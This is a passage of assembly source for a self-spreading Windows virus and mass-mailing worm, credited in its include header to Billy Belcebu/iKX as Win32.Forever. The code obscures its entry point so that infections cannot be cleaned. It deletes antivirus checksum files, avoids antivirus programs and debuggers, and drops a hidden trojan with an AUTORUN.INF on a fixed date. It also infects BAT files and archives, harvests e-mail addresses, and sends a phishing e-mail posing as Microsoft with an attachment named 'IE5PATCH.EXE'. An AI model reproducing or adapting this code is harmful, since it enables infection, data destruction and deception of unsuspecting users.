; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
; % New-UVE engine; make the virus incurable at all :) %
; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

incurability proc
; input:
; ESI = Ptr to host's EIP
; output:
; Right things in right variables :)

pushad

lea edi,[ebp+incurable] ; Ptr to our mixed block
mov byte ptr [ebp+UsedReg],04h ; Reset to original values
xor ebx,ebx

push 07h ; 7 instructions to build
pop edx

lodsb ; Get 1st opcode of EIP

cmp al,0B8h ; Now check if it's a mov
jb DoItAllRandomly ; reg32,imm32
cmp al,0BFh
ja DoItAllRandomly
cmp al,0BCh ; We don't like MOV ESP,IMM32
jz DoItAllRandomly

sub al,0B8h ; Get the register where move
mov byte ptr [ebp+UsedReg],al ; Store it
lodsd
mov dword ptr [ebp+Immediate32],eax ; Save the immediate

add dword ptr [ebp+OldEIP],05h ; Fix the entrypoint thing

and dword ptr [esi-4],00h ; Nulify original instruction
mov byte ptr [esi-5],00h

DoItAllRandomly:
call r_range,08h
cmp al,04h ; We don't like ESP
jz DoItAllRandomly

bt bx,ax ; Check if bit was set
jc DoItAllRandomly

bts bx,ax ; Set the written bits

cmp al,04h ; This might be patched
UsedReg = $-1
jnz ItIsNotInteresting

push eax

add al,0B8h
stosb ; Put the legit MOV
mov eax,12345678h ; Put in EAX the saved imm32
Immediate32 = $-4
stosd ; Put it also

pop eax
jmp DontLikePrepotentPeople

ItIsNotInteresting:
add al,0B8h ; Build a fake MOV
stosb
call random
stosd
DontLikePrepotentPeople:
dec edx ; Decrease the counter
jnz DoItAllRandomly ; If we reach 0, leave this
inc_return:
popad ; Hey ho! let's go ;)
ret
incurability endp

; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
; % Miscellaneous subroutines %
; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

GetDeltaOffset:
; input:
; Nothing.
; output:
; EBP = Delta Offset

pop eax

call DeltaShit
DeltaShit:
pop ebp
sub ebp,offset DeltaShit
inc eax
push eax
ret

CheckImageBase:
; input:
; ESI - Address inside module
; ECX - Limit
; output:
; ESI - module address

and esi,0FFFF0000h
cmp word ptr [esi],"ZM"
jz ItWasKewlEnough
NotCoolAddress:
sub esi,00010000h
loop CheckImageBase
ItWasKewlEnough:
ret

CRC32 proc
; input:
; ESI - Pointer to the code to process
; EDI - Size of such code
; output:
; EAX - CRC32 of that code

cld
pushad
xor ecx,ecx ; Optimized by me - 2 bytes
dec ecx ; less
mov edx,ecx
NextByteCRC:
xor eax,eax
xor ebx,ebx
lodsb
xor al,cl
mov cl,ch
mov ch,dl
mov dl,dh
mov dh,8
NextBitCRC:
shr bx,1
rcr ax,1
jnc NoCRC
xor ax,08320h
xor bx,0EDB8h
NoCRC: dec dh
jnz NextBitCRC
xor ecx,eax
xor edx,ebx
dec edi ; Another fool byte less
jnz NextByteCRC
not edx
not ecx
xchg eax,edx ; Another byte less
rol eax,16
mov ax,cx
mov [esp.PUSHAD_EAX],eax
popad
ret
CRC32 endp

LSCE_UnPack proc
; input:
; ESI - Data to expand
; EDI - Where expand
; ECX - Size of data to expand
; output:
; Nothing.

lodsb ; 1 byte
test al,al ; 2 bytes
jnz store_byte ; 2 bytes
dec ecx ; 1 byte
dec ecx ; 1 byte
lodsw ; 2 bytes
cwde ; 1 byte
push ecx ; 1 byte
xor ecx,ecx ; 2 bytes
xchg eax,ecx ; 1 byte
rep stosb ; 2 bytes
pop ecx ; 1 byte
test al,00h ; 1 byte
org $-1
store_byte:
stosb ; 1 byte
loop LSCE_UnPack ; 2 bytes
ret
LSCE_UnPack endp

random proc ; Thanx MDriller + GriYo! ;)
; input:
; Nothing
; output:
; EAX = Pseudo-random number

push ecx
mov eax,dword ptr [ebp+rnd_seed1]
dec dword ptr [ebp+rnd_seed1]
xor eax,dword ptr [ebp+rnd_seed2]
mov ecx,eax
rol dword ptr [ebp+rnd_seed1],cl
add dword ptr [ebp+rnd_seed2],eax
adc eax,dword ptr [ebp+rnd_seed2]
add eax,ecx
ror eax,cl
not eax
imul eax,41C64E6Dh
add eax,00003039h
sub eax,3
xor dword ptr [ebp+rnd_seed2],eax
xor eax,dword ptr [ebp+rnd_seed3]
rol dword ptr [ebp+rnd_seed3],1
sub dword ptr [ebp+rnd_seed3],ecx
sbb dword ptr [ebp+rnd_seed3],4
inc dword ptr [ebp+rnd_seed2]
pop ecx
sahf
ret
random endp

r_range proc
; input:
; TOS = Number of possible random numbers
; output:
; EAX = Number between 0 and (EAX-1)

mov eax,[esp+04h]
push ecx
push edx
xchg eax,ecx
call random
xor edx,edx
div ecx
xchg eax,edx
pop edx
pop ecx
ret 4
r_range endp

f_random proc
; input:
; Nothing.
; output:
; Flags are random.

push eax
call random
pop eax
ret
f_random endp

; Well, it's a feature, not a subroutine... ;)

DeleteIntegrityFiles:
lea edi,[ebp+Files2Kill] ; Load pointer to first file

killem: push 80h
push edi
apicall SetFileAttributesA

push edi ; Push file to erase
apicall DeleteFileA ; Delete it!

xor al,al
scasb
jnz $-1

cmp byte ptr [edi],0BBh
jnz killem
ret

GenerateName:
; input:
; EDI = Pointer to where we want the random name
; output:
; Nothing.

push 06h ; Generate in [EDI] a 6 char
pop ecx ; name
GenNameX:
call random ; Generate letter between
and al,25d ; A and Z :]
add al,41h
stosb
loop GenNameX
ret

HexWrite16:
; input:
; EDI = Where store converted number
; EAX = Number to convert
; output:
; Nothing.

push eax
xchg al,ah
call HexWrite8
pop eax

HexWrite8:
mov ah,al ; Mmm... routines stolen from
and al,0Fh ; borland...cut'n'paste rocks!
shr ah,4 ; ;)
or ax,3030h ; Blargh, they are shitty
xchg al,ah ; optimized, even locally. I
cmp ah,39h ; Fixed a bit that local opt.
ja @@4 ; but it's still unoptimized
@@1: cmp al,39h ; structurally... AAAGH! :)
ja @@3
@@2: stosw
ret
@@3: add al,("A"-10)-30h
jmp @@2
@@4: add ah,("A"-10)-30h
jmp @@1

ToUpperCase:
; input:
; ESI = Pointer to the string to make upcase
; output:
; Nothing.

pushad
mov edi,esi
ucase_l00p1:
lodsb
test al,al
jz ucase_d0ne1
cmp al,"a"
jb store_char1
cmp al,"z"
ja store_char1
xor al,20h
store_char1:
stosb
jmp ucase_l00p1
ucase_d0ne1:
popad
ret

; Prizzy's routine

__movsd_back:
; input:
; ECX = Bytes to move
; ESI = Source
; EDI = Destination
; output:
; Nothing.

add esi,ecx
dec esi
add edi,ecx
dec edi
std
shr ecx,01h
jnc __mb_nomovsb
movsb
__mb_nomovsb:
jz __mb_finish
dec esi
dec edi
shr ecx,01h
jnc __mb_nomovsw
movsw
jz __mb_finish
__mb_nomovsw:
dec esi
dec esi
dec edi
dec edi
rep movsd
__mb_finish:
cld
ret

; ooopz! :P

annoy@@1:
pop eax
inc eax
push eax
ret

; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
; % Here goes the poly engine %
; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

include mmxe102.inc

; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
; % Virus payload %
; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

payload:
; We're gonna see if it's our day-payload :)

call overst
Year dw ?
Month dw ?
DOW dw ?
Day dw ?
Hour dw ?
Minute dw ?
Second dw ?
Msec dw ?
overst: apicall GetSystemTime

cmp word ptr [ebp+Month],pay_month
jnz tejodo

cmp word ptr [ebp+Day],pay_date
jnz tejodo

; Well, before all... as this happens once a year, we delete the address book
; so we are able to reinfect all the suckers via e-mail :)

lea edi,[ebp+AddBook]

push 80h ; Wipe file special attributes
push edi
apicall SetFileAttributesA

push edi ; And delete it
apicall DeleteFileA

; First, lets drop the "trojan"

push 8192d ; Alloc some memory more
push 00h
apicall GlobalAlloc
mov dword ptr [ebp+GlobalAllocHnd],eax

call over_dr0p1
include dropper1.inc ; Dr0pper f0r payl0ad X-D
over_dr0p1:
pop esi
mov ecx,sdr0p1
xchg eax,edi

call LSCE_UnPack

push 00h ; Create the dropper
push 80h
push 02h ; CREATE_ALWAYS
push 00h
push 01h
push 40000000h ; GENERIC_WRITE
lea edi,[ebp+PayTrojan]
push edi
apicall CreateFileA

push eax ; Write it, sucka!

push 00h
lea ebx,[ebp+iobytes]
push ebx
push 2000h ; 8K file
push dword ptr [ebp+GlobalAllocHnd]
push eax
apicall WriteFile

apicall CloseHandle

push dword ptr [ebp+GlobalAllocHnd]
apicall GlobalFree

lea eax,[ebp+PayTrojan] ; Set it R/O and hidden
push 80h or 02h or 01h
push eax
apicall SetFileAttributesA

; Ok, "trojan" dropped. Now put the new AUTORUN.INF file.

xor eax,eax ; new file
push eax
push eax
push 02h
push eax
inc eax
push eax
push 40000000h
call orion
aruninf db "AUTORUN.INF",0 ; Oh, how cool i am ;)
orion: apicall CreateFileA

mov dword ptr [ebp+TempHandle],eax

push 00h ; Overwrite with our file :)
lea ebx,[ebp+iobytes]
push ebx
push (sanitarium-kaka1)
call sanitarium ; Welcome home!
kaka1: db "[autorun]",10 ; This is our new and cool
db "icon=F0R3V3R.EXE",10 ; autorun trojan ;)
db "open="
PayTrojan db "F0R3V3R.EXE",0
sanitarium:
push eax
apicall WriteFile

push 12345678h
TempHandle equ $-4
apicall CloseHandle
tejodo:
ret

; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
; % BAT Infection datas %
; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

BAT_part1 label byte
db ":P",13,10 ; Infection mark
db "@echo off",13,10
db "goto dr0p_4ever",13,10
db "N C:\FRAGILE.SYS",13,10
sBAT_part1 = ($-offset BAT_part1)

BAT_part2 label byte
db "RCX",13,10
src_bytes db "0000",13,10
db "W",13,10
db "Q",13,10
db ":dr0p_4ever",13,10
db "debug <%0 >nul",13,10
db "copy C:\FRAGILE.SYS C:\FRAGILE.EXE >nul",13,10
db "C:\FRAGILE.EXE >nul",13,10
db "attrib +r +s +h C:\FRAGILE.EXE >nul",13,10
db "del C:\FRAGILE.SYS >nul",13,10
db "echo on",13,10
sBAT_part2 = ($-offset BAT_part2)

; We don't put a 'del C:\FRAGILE.EXE' because it would raise an error...
; -> 'Access denied' <- (because multitask of Windows.)
; We'll delete it later, when the virus will be executed :)

; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
; % Data that travel with the virus %
; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

; extension_table values:
; BYTE action_to_perform;
; DWORD extension (with dot).

; action_to_perform values:
; 01 - Infect PE file (EXE/SCR/CPL)
; 02 - Infect archive (RAR/ARJ/ZIP/CAB) or BAT
; 03 - Search for e-mail addresses in HTM? files
; 04 - Search for e-mail addresses in WAB files (Windows Address Book)

extension_table = $
db 01h,".exe" ; Infect PE
db 01h,".scr" ; Infect PE
db 01h,".cpl" ; Infect PE
db 02h,".bat" ; Infect BAT
db 02h,".rar" ; Drop over RAR
db 02h,".arj" ; Drop over ARJ
db 02h,".zip" ; Drop over ZIP
db 02h,".cab" ; Drop over CAB
db 03h,".htm" ; Search for mail addresses
db 04h,".wab" ; Search for mail addresses
db 0BBh

; This is the file mask to search for

if debug
SEARCH_MASK db "GOAT???.*",0 ; Controlled spread :P
else
SEARCH_MASK db "GOAT???.*",0 ; Total retaliation }:)
endif
org $-1 ; Overlap rulez

; This is a little table with some names

names db 0
db "William",0 ; William Gibson
db "Brian",0 ; Brian Warner=Marilyn Manson
db "Steve",0 ; Steve Harris (Iron Maiden)
db "Matt",0 ; Matt Pietrek (g0d)
db "Thomas",0 ; Thomas Anderson (Neo)
db "James",0 ; James Hetfield (Metallica)
db "Jeniffer",0 ; Jeniffer Lopez (mmmm...)
db "Lisa",0 ; Lisa Simpson :)
org $-1 ; - kewl - hahahahah :)
surnames db 0
db "Smith",0 ; There're a lot of this ones :)
db "O'Leary",0 ; The guy that wrote PE desc.
db "Anderson",0 ; Pamela Anderson (mmmm...)
db "Herrera",0 ; Raymond Herrera (Fear Factory)
db "Burton",0 ; Cliff Burton (Metallica-RIP)
db "Case",0 ; As the guy in necromancer :)
db "Lee",0 ; Tommy Lee (pamela's fucker)
db "Grissom",0 ; Cyrus Grissom (Con Air)

TemporalFile db "C:\CHKLIST.IKX",0 ; Temporal file for our needs
szTtl_ = $-4

Drivers2Avoid = $
db "\\.\SICE",0 ; SoftICE for Win9x
db "\\.\NTICE",0 ; SoftICE for WinNT
db 0BBh

; The virus will erase all this files in every directory

Files2Kill = $
db "CHKLIST.DAT",0
db "CHKLIST.TAV",0
db "CHKLIST.MS",0
db "CHKLIST.CPS",0
db "SMARTCHK.MS",0
db "SMARTCHK.CPS",0
db "ANTI-VIR.DAT",0
db "AVP.CRC",0
db "IVB.NTZ",0
db "AGUARD.DAT",0
db "AVGQT.DAT",0
db "C:\FRAGILE.EXE",0 ; Just kill it manually
db 0BBh

; The virus won't infect the files with this characters

Files2Avoid = $
db 02h,"TB" ; ThunderByte?
db 02h,"F-" ; F-Prot?
db 02h,"AV" ; AVP? AVAST? AV*?
db 02h,"HL" ; Half-Life?
db 03h,"NAV" ; Norton Antivirus?
db 03h,"WEB" ; DrWeb?
db 03h,"PAV" ; Panda?
db 03h,"DRW" ; DrWeb?
db 03h,"NOD" ; Nod-Ice?
db 04h,"DSAV" ; Dr Solomon?
db 04h,"TD32" ; Turbo Debugger?
db 05h,"NTVDM" ; NTVDM?
db 06h,"WINICE" ; SoftIce?
db 06h,"SPIDER" ; Spider?
db 06h,"DEFRAG" ; Defrag?
db 06h,"TASM32" ; Turbo Assembler?
db 07h,"TLINK32" ; Turbo Link?
db 07h,"RUNONCE" ; RunOnce?
db 07h,"SYSTRAY" ; SysTray?
db 07h,"TASKMON" ; TaskMon?
db 07h,"SPOOL32" ; Spool32?
db 08h,"CLEANMGR" ; CleanMgr?
db 08h,"SCANDSKW" ; ScanDisk?
db 08h,"AUTOEXEC" ; AUTOEXEC.BAT?
db 08h,"RUNDLL32" ; RunDll32?
db 0BBh

; Here come the VxDCalls we must fix

VxD_fix = $
dd offset (@@fx1),VXDLDR_GetDeviceList
dd offset (@@fx2),VMM_Get_DDB
dd offset (@@fx3),VMM_PageQuery
n_VxD_fix = ($-VxD_fix)/8


; Here comes the "import" table of the virus ;)

api_list = $
; db "KERNEL32",0 ; Don't needed
@VirtualProtect dd 079C3D4BBh ; 01
@FindFirstFileA dd 0AE17EBEFh ; 02
@FindNextFileA dd 0AA700106h ; 03
@FindClose dd 0C200BE21h ; 04
@CreateFileA dd 08C892DDFh ; 05
@GetFileAttributesA dd 0C633D3DEh ; 06
@SetFileAttributesA dd 03C19E536h ; 07
@CloseHandle dd 068624A9Dh ; 08
@GetCurrentDirectoryA dd 0EBC6C18Bh ; 09
@SetCurrentDirectoryA dd 0B2DBD7DCh ; 00
@GetWindowsDirectoryA dd 0FE248274h ; 11
@GetSystemDirectoryA dd 0593AE7CEh ; 12
@CreateFileMappingA dd 096B2D96Ch ; 13
@MapViewOfFile dd 0797B49ECh ; 14
@UnmapViewOfFile dd 094524B42h ; 15
@SetEndOfFile dd 059994ED6h ; 16
@GetFileSize dd 0EF7D811Bh ; 17
@SetFilePointer dd 085859D42h ; 18
@CreateThread dd 019F33607h ; 19
@WaitForSingleObject dd 0D4540229h ; 20
@ExitThread dd 0058F9201h ; 21
@TerminateThread dd 08BDFBA40h ; 22
@SetThreadPriority dd 03B58B409h ; 23
@GetSystemTime dd 075B7EBE8h ; 24
@GetDriveTypeA dd 0B99F1B1Eh ; 25
@GetTickCount dd 0613FD7BAh ; 26
@DeleteFileA dd 0DE256FDEh ; 27
@LoadLibraryA dd 04134D1ADh ; 28
@FreeLibrary dd 0AFDF191Fh ; 29
@GlobalAlloc dd 083A353C3h ; 30
@GlobalFree dd 05CDF6B6Ah ; 31
@WriteFile dd 021777793h ; 32
@lstrcat dd 00792195Bh ; 33
@CopyFileA dd 05BD05DB1h ; 34
@RegisterServiceProcess dd 05F31BC8Eh ; 35
@Sleep dd 00AC136BAh ; 36
@ReadFile dd 054D8615Ah ; 37
@GetProcAddress dd 0FFC97C1Fh ; 38
@CreateMutexA dd 020B943E7h ; 39
@GetLastError dd 087D52C94h ; 40
@GetModuleFileNameA dd 004DCF392h ; 41
@IsDebuggerPresent dd 052E3BEB1h ; 42
db 0BBh

if debug
db "USER32",0
@MessageBoxA dd 0D8556CF7h
db 0BBh
endif

db "ADVAPI32",0
@RegCreateKeyExA dd 02C822198h
@RegSetValueExA dd 05B9EC9C6h
@RegOpenKeyExA dd 0CD195699h
@RegQueryValueExA dd 088B7093Bh
@RegCloseKey dd 0841802AFh
db 0BBh

db "WSOCK32",0
@WSAStartup dd 0BBA4D88Fh
@WSACleanup dd 0105B23B2h
@recv dd 07A3CE88Ah
@send dd 0377022BAh
@socket dd 08EB460E1h
@closesocket dd 01CC6CDC5h
@connect dd 05F7E2D81h
@htons dd 07C2941D1h
@gethostname dd 0A760D661h
@gethostbyname dd 0EAED580Ch
db 0BBh

db "WININET",0
@InternetGetConnectedState dd 0DB46465Ah
db 0BBh

db "IMAGEHLP",0
@CheckSumMappedFile dd 078B31744h
db 0BBh

db "SFC",0
@SfcIsFileProtected dd 06DE8F7ABh
db 0BBh

; That's the end, my friend...

db "" ; PISTO FOR MINISTRO

; Some worm-part datas

szToSend = $
dd offset szHelo
dd offset szMailFrom
dd offset szRcptTo
nToSend = ($-szToSend)/4

; client commands

szHelo db "HELO microsoft.com",13,10,0
szMailFrom db "MAIL FROM: support@microsoft.com",13,10,0
szRcptTo db "RCPT TO: "
emilio db 128 dup (00h) ; I think it's enough :)
szData db "DATA",13,10,0

; more client commands, but with another treatment :)

szEndOfMail db 13,10,".",13,10,0
szQuit db "QUIT",13,10,0

; header of e-mail

message_body1 = $
szFrom db "FROM:"
szNameFrom db "silly name <support@microsoft.com>",13,10
szSubject db "SUBJECT:"
db "Fix security problems with Internet Explorer 5 suite",13,10

szMailText db "MIME-Version: 1.0",13,10
db "Message-ID: <a1234>",13,10
db 'Content-Type: multipart/mixed; boundary="a1234"',13,10,13,10
db "--a1234",13,10
db "Content-Type: text/plain; charset=us-ascii",13,10
db "Content-Transfer-Encoding: 7bit",13,10,13,10
db "Dear Internet Explorer 5 suite user:",10,10
db "We've just discovered a new security hole in our Microsoft "
db "Internet Explorer 5 suite. It could be used by hackers to penetrate "
db "your system, so we strongly recommend you to download the "
db "security patch from http://support.microsoft.com/ie5patch.asp "
db "or just execute the file attached to this e-mail. "
db "It will provide you protection againist internet worms like "
db "I LOVE YOU (VBS.LoveLetter) and mutations of it.",13,10,13,10
db "Our best regards,",13,10
db "Microsoft Development Team.",13,10
db "--a1234",13,10
db 'Content-Type: application/octet-stream; name="IE5PATCH.EXE"',13,10
db "Content-Transfer-Encoding: base64",13,10
db 'Content-Disposition: attachment; filename="IE5PATCH.EXE"',13,10,13,10
message_size1 = $-message_body1

message_body2 db 10,'--a1234--',13,10,13,10
message_size2 = $-message_body2

; Some SMTP servers from spain

SMTPServers = $
dd offset szRelay1
dd offset szRelay2

szRelay1 db "smtp.ctv.es",0
szRelay2 db "mailhost.teleline.es",0

; RAR Header

RARHeader label byte
RARHeaderCRC dw ?
RARType db 74h
RARFlags dw 8000h
RARHeadsize dw sRARHeaderSize
RARCompressed dd ?
RAROriginal dd ?
RAROs db ?
RARCrc32 dd ?
RARFileTime dw arc_mark
RARFileDate db 31h,24h
RARNeedVer db 14h
RARMethod db 30h
RARFnameSize dw sRARNameSize
RARAttrib dd ?
RARName db "??????.EXE"
sRARHeaderSize equ ($-offset RARHeader)
sRARNameSize equ ($-offset RARName)

; ARJ Header

ARJHeader label byte
ARJSig db 60h,0EAh
ARJHeadsiz dw 2Ah
ARJHSmsize db 1Eh
ARJVer db 07h
ARJMin db 01h
ARJHost db ?
ARJFlags db 10h
ARJMethod db ?
ARJFiletype db ?
ARJReserved db "Z"
ARJFileTime dw arc_mark
ARJFileDate db 031h,024h
ARJCompress dd ?
ARJOriginal dd ?
ARJCRC32 dd ?
ARJEntryName dw ?
ARJAttribute dw ?
ARJHostData dw ?
sARJHeader equ ($-offset ARJHeader)

ARJSecondSide label byte
ARJFilename db "??????.EXE",0
ARJComment db ?
sARJCRC32Size equ ($-offset ARJHSmsize)
ARJHeaderCRC dd ?
ARJExtended dw ?
sARJSecondSide equ ($-offset ARJSecondSide)
sARJTotalSize equ ($-offset ARJSig)

; CAB Header

CABHeader label byte
CABMagic db "MSCF"
CABReserved1 dd ?
CABFileSize dd ?
CABReserved2 dd ?
CABFirstRec dd ?
CABReserved3 dd ?
CABVersionMin db ?
CABVersionMaj db ?
CABnFolders dw ?
CABnFiles dw ?
CABFlags dw ?
CABID dw ?
CABNumber dw ?

CAB_Reserved label byte
CABlength dw ?
CABreserved = $

CABdirectory_start label byte
CABFirstRec_ dd ?
CABnData dw ?
CABCompress dw ?
CABReserved = $

CABfile_start label byte
CABUnCompSize dd ? ; Tama¤o dropper
CABFileStart dd ?
CABFlags_ dw ?
CABDate db 031h,024h
CABTime dw arc_mark
CABAttribs dw 0020h
CABFileName db "????????.EXE",0

CABentry label byte
CABCRC dd ?
CABCompr dw ? ; Tama¤o dropper
CABUnCompr dw ? ; Tama¤o dropper
CABCompr_data = $
CABHeaderSize2 = $-CABdirectory_start

comment þ

; ZIP Header

; Central header

ZIPRHeaderId db "PK"
ZIPRSignature db 1,2
ZIPRVerMade dw 10d
ZIPRVerNeed dw 0ah
ZIPRFlags dw ?
ZIPRMethod dw ?
ZIPRTime dw arc_mark

ZIPRDate db 031h,024h
ZIPRCRC32 dd ?
ZIPRCompressed dd ? ; !!!
ZIPRUncompressed dd ? ; !!!
ZIPRSizeFilename dw ZIPRNameLenght
ZIPRExtraField dw ?
ZIPRCommentSize dw ?
ZIPRDiskNumber dw ?
ZIPRInternalAttr dw 1
ZIPRExternalAttr dd 21h
ZIPROffsetLHeaderR dd ?
ZIPRFilename db "??????.EXE"
ZIPRNameLenght = $-ZIPRFilename
ZIPRHeaderSize = $-ZIPRHeaderId

; Local header

ZIPLHeaderId db "PK"
ZIPLSignature db 3,4
ZIPLVersionNeed dw 0010d
ZIPLFlags dw 80h
ZIPLMethod dw ?
ZIPLTime dw arc_mark
ZIPLDate db 031h,024h
ZIPLCRC32 dd ?
ZIPLCompressed dd ? ; !!!
ZIPLUncompressed dd ? ; !!!
ZIPLSizeFilename dw ZIPLNameLenght
ZIPLExtraField dw ?
ZIPLFilename db "??????.EXE"
ZIPLNameLenght = $-ZIPLFilename



ZIPReadBuffer label byte
ZIPEHeaderId db "PK"
ZIPSignature dw ?
ZIPNoDisk dw ?
ZIPNoStartDisk dw ?
ZIPEntryDisk dw ?
ZIPEntrysDir dw ?
ZIPSizeDir dd ?
ZIPOffsetDir dd ?
ZIPCommentLenght dw ?
ZIPEHeaderSize = $-ZIPEHeaderId

þ

if (($-virus_start) mod 4) gt 0 ; Pad size to dwordz
db (4 - (($-virus_start) mod 4)) dup (00h) ; Thnx to T2 4 this :)
endif

virus_end = $

; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
; % Data in the heap %
; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

include mmxedata.inc

; running_os values:
; 00 - Win9x
; 01 - WinNT
; 02 - Win2k
; 03 - WinMe
; 04 - Other place (maybe a beta?)

running_os db ?

; SoftICE values
; 00 - No SoftICE working
; 01 - Detected SoftICE for Win9x or WinNT

SoftICE db ?

; Miscellaneous data

kernel dd ?

random_seed = $
rnd_seed1 dd ?
rnd_seed2 dd ?
rnd_seed3 dd ?
dd ?

ArchiveBuffer db 50d dup (?)
SMTPName db 30d dup (?)
normal_mail db 80d dup (?)
recv_data db 50d dup (?)

wsad WSADATA <?>
saddr SOCKADDR <?>

SMTPNamePtr dd ?
DropperSize dd ?
OriginalSize dd ?
Disposition dd ?
RegHandle dd ?
GlobalAllocHnd dd ?
GlobalAllocHnd2 dd ?
NumBytesRead dd ?
iobytes dq ?,?
unit dd ?
TSHandle dd ?
AddressTableVA dd ?
NameTableVA dd ?
OrdinalTableVA dd ?
SearchHandle dd ?
TmpModuleBase dd ?
FileHandle dd ?
MapHandle dd ?
MapAddress dd ?
NewSize dd ?
FS_CAB dd ?
FHS_CAB dd ?
FLD_CAB dd ?
ThreadHandle dd ?
MimePtr dd ?
MemPtr dd ?
MimeSize dd ?
SocketHandle dd ?
temp_buffer dd ?

; Some shit :)

current_dir db MAX_PATH dup (?)
infect_dir db MAX_PATH dup (?)
temp_dir db MAX_PATH dup (?)
HostName db MAX_PATH dup (?)

; KERNEL32 APIs
api_addresses = $
VirtualProtect dd ?
FindFirstFileA dd ?
FindNextFileA dd ?
FindClose dd ?
CreateFileA dd ?
GetFileAttributesA dd ?
SetFileAttributesA dd ?
CloseHandle dd ?
GetCurrentDirectoryA dd ?
SetCurrentDirectoryA dd ?
GetWindowsDirectoryA dd ?
GetSystemDirectoryA dd ?
CreateFileMappingA dd ?
MapViewOfFile dd ?
UnmapViewOfFile dd ?
SetEndOfFile dd ?
GetFileSize dd ?
SetFilePointer dd ?
CreateThread dd ?
WaitForSingleObject dd ?
ExitThread dd ?
TerminateThread dd ?
SetThreadPriority dd ?
GetSystemTime dd ?
GetDriveTypeA dd ?
GetTickCount dd ?
DeleteFileA dd ?
LoadLibraryA dd ?
FreeLibrary dd ?
GlobalAlloc dd ?
GlobalFree dd ?
WriteFile dd ?
lstrcat dd ?
CopyFileA dd ?
RegisterServiceProcess dd ?
Sleep dd ?
ReadFile dd ?
GetProcAddress dd ?
CreateMutexA dd ?
GetLastError dd ?
GetModuleFileNameA dd ?
IsDebuggerPresent dd ?

; USER32 APIs
if debug
MessageBoxA_ dd ?
endif
; ADVAPI32 APIs
RegCreateKeyExA dd ?
RegSetValueExA dd ?
RegOpenKeyExA dd ?
RegQueryValueExA dd ?
RegCloseKey dd ?

; WSOCK32 APIs
WSAStartup dd ?
WSACleanup dd ?
recv dd ?
send dd ?
socket dd ?
closesocket dd ?
connect dd ?
htons dd ?
gethostname dd ?
gethostbyname dd ?

; WININET APIs
InternetGetConnectedState dd ?

; IMAGEHLP APIs
CheckSumMappedFile dd ?

; SFC APIs
SfcIsFileProtected dd ?

; For normal FindFirst/FindNext

WIN32_FIND_DATA label byte
WFD_dwFileAttributes dd ?
WFD_ftCreationTime dq ?
WFD_ftLastAccessTime dq ?
WFD_ftLastWriteTime dq ?
WFD_nFileSizeHigh dd ?
WFD_nFileSizeLow dd ?
WFD_dwReserved0 dd ?
WFD_dwReserved1 dd ?
WFD_szFileName db MAX_PATH dup (?)
WFD_szAlternateFileName db 13 dup (?)
db 03 dup (?)
WFD_Size = $-WIN32_FIND_DATA

; For recursive directory scanning

_WIN32_FIND_DATA label byte
_WFD_dwFileAttributes dd ?
_WFD_ftCreationTime dq ?
_WFD_ftLastAccessTime dq ?
_WFD_ftLastWriteTime dq ?
_WFD_nFileSizeHigh dd ?
_WFD_nFileSizeLow dd ?
_WFD_dwReserved0 dd ?
_WFD_dwReserved1 dd ?
_WFD_szFileName db MAX_PATH dup (?)
_WFD_szAlternateFileName db 13 dup (?)
db 03 dup (?)

heap_end = $

end _1stgencode

;------------------------------[ FOREVER.INC ]------------------------------;

;############################################################################
;# WIN32.FOREVER - INC FILE (c) 1999-2000 Billy Belcebu/iKX #
;############################################################################

; Boolean things ;)

false = 0
true = 1

; Marks for infected files

inf_mark = "!XKi"
arc_mark = "BB"

; Day of activation of the payload

pay_month = 10d
pay_date = 26d

; Some hardcoded addresses (not really needed at all)

kernel_w9x = 0BFF70000h
kernel_wMe = 0BFF60000h
kernel_wNT = 077F00000h
kernel_w2k = 077E80000h

; Some switches for know under what OS we are

running_w9x = 00h
running_wNT = 01h
running_w2k = 02h
running_unk = 03h

; Interrupt for jump to Ring-0

if debug
interrupt = 05h
else
interrupt = 03h
endif

; Some PE header fields

i386_machine = 014Ch
SizeOfSectHeader= 28h
SizeOfSectTable = 0F8h
RWX_attributes = 0A0000020h

; Stack positions of registers after a PUSHAD

PUSHAD_EDI = 00h
PUSHAD_ESI = 04h
PUSHAD_EBP = 08h
PUSHAD_ESP = 0Ch
PUSHAD_EBX = 10h
PUSHAD_EDX = 14h
PUSHAD_ECX = 18h
PUSHAD_EAX = 1Ch

; These are the kind of drives where we can spread ourselves

DriveFixed = 03h
DriveRemote = 04h

; Some tipical constants

virus_size = virus_end-virus_start
virus_pages = ((virus_size+0FFFh)/1000h)
heap_size = heap_end-virus_end
total_size = virus_size+heap_size

; Some PE header stuff

MagicPE = 00h
Machine = 04h
NumberOfSections= 06h
EntrypointRVA = 28h
